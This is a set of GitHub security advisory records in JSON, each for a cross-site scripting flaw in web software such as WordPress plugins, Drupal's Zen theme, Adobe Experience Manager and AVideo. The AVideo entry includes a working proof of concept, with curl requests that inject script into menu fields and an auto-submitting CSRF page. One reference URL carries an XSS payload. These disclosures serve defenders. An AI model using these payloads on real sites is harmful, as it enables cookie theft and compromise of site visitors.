CWE-79

{
  "affected": [],
  "aliases": [
    "CVE-2024-10876"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-09T07:15:06Z",
    "severity": "MODERATE"
  },
  "details": "The Charitable \u2013 Donation Plugin for WordPress \u2013 Fundraising with Recurring Donations \u0026 More plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg \u0026 remove_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.8.3. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.",
  "id": "GHSA-gmm4-g83x-r552",
  "modified": "2024-11-09T09:30:29Z",
  "published": "2024-11-09T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10876"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/charitable/tags/1.8.2/includes/admin/donations/class-charitable-donation-list-table.php#L318"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3183944/charitable/trunk/includes/admin/donations/class-charitable-donation-list-table.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68014bb5-b2ef-4e2f-9c47-85e555ded5a7?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-37728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-20T18:15:12Z",
    "severity": "MODERATE"
  },
  "details": "Icewarp Icearp v10.2.1 was discovered to contain a cross-site scripting (XSS) vulnerability.",
  "id": "GHSA-gmm8-g27g-3865",
  "modified": "2024-04-04T06:17:54Z",
  "published": "2023-07-20T18:33:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37728"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/%40ayush.engr29/cve-2023-37728-6dfb7586311"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@ayush.engr29/cve-2023-37728-6dfb7586311"
    },
    {
      "type": "WEB",
      "url": "http://icearp.com"
    },
    {
      "type": "WEB",
      "url": "http://icewarp.com"
    },
    {
      "type": "WEB",
      "url": "http://mail.ziyan.com/webmail/?color=%22%3E%3Cimg%20src%20onerror=%22alert(0)%22%3E%3C%22%27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-7980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-10-08T18:55:00Z",
    "severity": "LOW"
  },
  "details": "Multiple cross-site scripting (XSS) vulnerabilities in template.php in Zen theme 7.x-3.x before 7.x-3.3 and 7.x-5.x before 7.x-5.5 for Drupal allow remote authenticated users with the \"administer themes\" permission to inject arbitrary web script or HTML via the skip_link_text setting and unspecified other theme settings.",
  "id": "GHSA-gmm9-7857-9mp9",
  "modified": "2022-05-17T04:31:36Z",
  "published": "2022-05-17T04:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7980"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/node/2254835"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/node/2254837"
    },
    {
      "type": "WEB",
      "url": "http://drupal.org/node/2254925"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/58318"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/67175"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-35734"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-08T13:15:55Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Input During Web Page Generation (XSS or \u0027Cross-site Scripting\u0027) vulnerability in CodePeople WP Time Slots Booking Form allows Stored XSS.This issue affects WP Time Slots Booking Form: from n/a through 1.2.10.",
  "id": "GHSA-gmp9-h8j4-2m6g",
  "modified": "2024-06-08T15:31:18Z",
  "published": "2024-06-08T15:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35734"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wp-time-slots-booking-form/wordpress-wp-time-slots-booking-form-plugin-1-2-10-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:25:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying `htmlspecialchars()` or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.\n\n## Details\n\nMultiple output locations in the TopMenu plugin render user-controlled data without escaping:\n\nIn `HTMLMenuRight.php:24`, the icon class is injected directly:\n\n```php\n\u003ci class=\"\u003c?php echo $value2[\u0027icon\u0027] ?\u003e\"\u003e\u003c/i\u003e\n```\n\nIn `HTMLMenuRight.php:40`, the URL is rendered without encoding:\n\n```php\n\u003ca href=\"\u003c?php echo $value2[\u0027finalURL\u0027]; ?\u003e\"\u003e\n```\n\nIn `HTMLMenuLeft.php:32`, same pattern for the left menu:\n\n```php\n\u003ca href=\"\u003c?php echo $value2[\u0027finalURL\u0027]; ?\u003e\"\u003e\n```\n\nIn `index.php:49`, the menu item text is echoed raw:\n\n```php\n\u003c?php echo $menuItem-\u003egetText(); ?\u003e\n```\n\nMenu item data is saved via `menuItemSave.json.php` with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.\n\nCritically, `menuItemSave.json.php` has no CSRF protection. It checks `User::isAdmin()` but does not call `isGlobalTokenValid()` or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker\u0027s page while logged in.\n\n## Proof of Concept\n\n1. As an admin user, save a menu item with a malicious icon class:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n  -d \u0027icon=fa-home\" onmouseover=\"alert(document.cookie)\u0026text=Home\u0026url=/\u0026status=a\u0027\n```\n\n2. Alternatively, inject via the URL field to create a JavaScript link:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n  -d \u0027icon=fa-link\u0026text=Click+Me\u0026url=javascript:alert(document.cookie)\u0026status=a\u0027\n```\n\n3. Alternatively, inject via the text field:\n\n```bash\ncurl -b \"PHPSESSID=ADMIN_SESSION\" \\\n  -X POST \"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\" \\\n  -d \u0027icon=fa-home\u0026text=\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u0026url=/\u0026status=a\u0027\n```\n\n4. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAVI-041 CSRF + Stored XSS PoC\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003ciframe name=\"f1\" style=\"display:none\"\u003e\u003c/iframe\u003e\n\u003cform id=\"inject\" method=\"POST\" target=\"f1\"\n      action=\"https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php\"\u003e\n  \u003cinput type=\"hidden\" name=\"menuId\" value=\"1\" /\u003e\n  \u003cinput type=\"hidden\" name=\"item_order\" value=\"99\" /\u003e\n  \u003cinput type=\"hidden\" name=\"item_status\" value=\"a\" /\u003e\n  \u003cinput type=\"hidden\" name=\"text\" value=\"\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\" /\u003e\n  \u003cinput type=\"hidden\" name=\"title\" value=\"Home\" /\u003e\n  \u003cinput type=\"hidden\" name=\"url\" value=\"/\" /\u003e\n  \u003cinput type=\"hidden\" name=\"icon\" value=\"fa-home\" /\u003e\n  \u003cinput type=\"hidden\" name=\"menuSeoUrlItem\" value=\"\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027inject\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe cross-origin POST creates the malicious menu item because `menuItemSave.json.php` has no CSRF token validation.\n\n5. Visit any page on the AVideo instance:\n\n```bash\ncurl \"https://your-avideo-instance.com/\"\n```\n\n6. The injected JavaScript executes in the context of every visitor\u0027s browser session because the menu is rendered on all pages.\n\n## Impact\n\nStored cross-site scripting on every page of the AVideo instance. An attacker can steal session cookies, redirect users to phishing pages, modify page content, or perform actions on behalf of authenticated users (including admins). Because the menu renders globally, a single injection point compromises all visitors to the site.\n\n## Recommended Fix\n\nApply `htmlspecialchars()` with `ENT_QUOTES` to all outputs of `$value2[\u0027finalURL\u0027]`, `$value2[\u0027icon\u0027]`, and `$menuItem-\u003egetText()` in the TopMenu plugin templates:\n\n```php\n// HTMLMenuRight.php:24\n\u003ci class=\"\u003c?php echo htmlspecialchars($value2[\u0027icon\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\"\u003e\u003c/i\u003e\n\n// HTMLMenuRight.php:40\n\u003ca href=\"\u003c?php echo htmlspecialchars($value2[\u0027finalURL\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\"\u003e\n\n// HTMLMenuLeft.php:32\n\u003ca href=\"\u003c?php echo htmlspecialchars($value2[\u0027finalURL\u0027], ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\"\u003e\n\n// floatMenu.php - same pattern for any $value2[\u0027icon\u0027] and $value2[\u0027finalURL\u0027] outputs\n// index.php:49\n\u003c?php echo htmlspecialchars($menuItem-\u003egetText(), ENT_QUOTES, \u0027UTF-8\u0027); ?\u003e\n```\n\nApply the same encoding to every location in `HTMLMenuRight.php`, `HTMLMenuLeft.php`, `floatMenu.php`, and `index.php` where these values are echoed into HTML.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-gmpc-fxg2-vcmq",
  "modified": "2026-04-01T23:25:11Z",
  "published": "2026-04-01T23:25:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gmpc-fxg2-vcmq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin"
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-3180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-07-15T18:41:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple cross-site scripting (XSS) vulnerabilities in upload/file/language_menu.php in ContentNow CMS 1.4.1 allow remote attackers to inject arbitrary web script or HTML via the (1) pageid parameter or (2) PATH_INFO.",
  "id": "GHSA-gmpc-xgf5-4prf",
  "modified": "2022-05-01T23:57:29Z",
  "published": "2022-05-01T23:57:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3180"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/43610"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6011"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30888"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3990"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/30102"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-64845"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-10T19:16:32Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a low privileged attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim\u2019s browser when they browse to the page containing the vulnerable field.",
  "id": "GHSA-gmpj-rgwv-h8wq",
  "modified": "2025-12-10T21:31:36Z",
  "published": "2025-12-10T21:31:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64845"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-48496"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-15T11:15:21Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Experience Manager versions 6.5.18 and earlier are affected by a Cross-site Scripting (DOM-based XSS) vulnerability. If a low-privileged attacker is able to convince a victim to visit a URL referencing a vulnerable page, malicious JavaScript content may be executed within the context of the victim\u0027s browser.",
  "id": "GHSA-gmpj-x537-7jv6",
  "modified": "2023-12-15T12:30:28Z",
  "published": "2023-12-15T12:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48496"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/experience-manager/apsb23-72.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-81635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-10T07:17:03Z",
    "severity": "MODERATE"
  },
  "details": "A cross-site scripting vulnerability exists in SHIRASAGI, which may allow an attacker to execute an arbitrary script in the web browser of a user who accesses a website using the affected product.",
  "id": "GHSA-gmpr-6m7m-7m27",
  "modified": "2026-09-10T09:31:32Z",
  "published": "2026-09-10T09:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81635"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN37476837"
    },
    {
      "type": "WEB",
      "url": "https://www.ss-proj.org/support/1710.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-6168"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-02-19T15:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in search.php in miniPortail 2.2 and earlier allows remote attackers to inject arbitrary web script or HTML via an unspecified argument, probably the search string.",
  "id": "GHSA-gmq4-8473-vcv2",
  "modified": "2022-05-17T00:41:08Z",
  "published": "2022-05-17T00:41:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6168"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46080"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6821"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31895"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}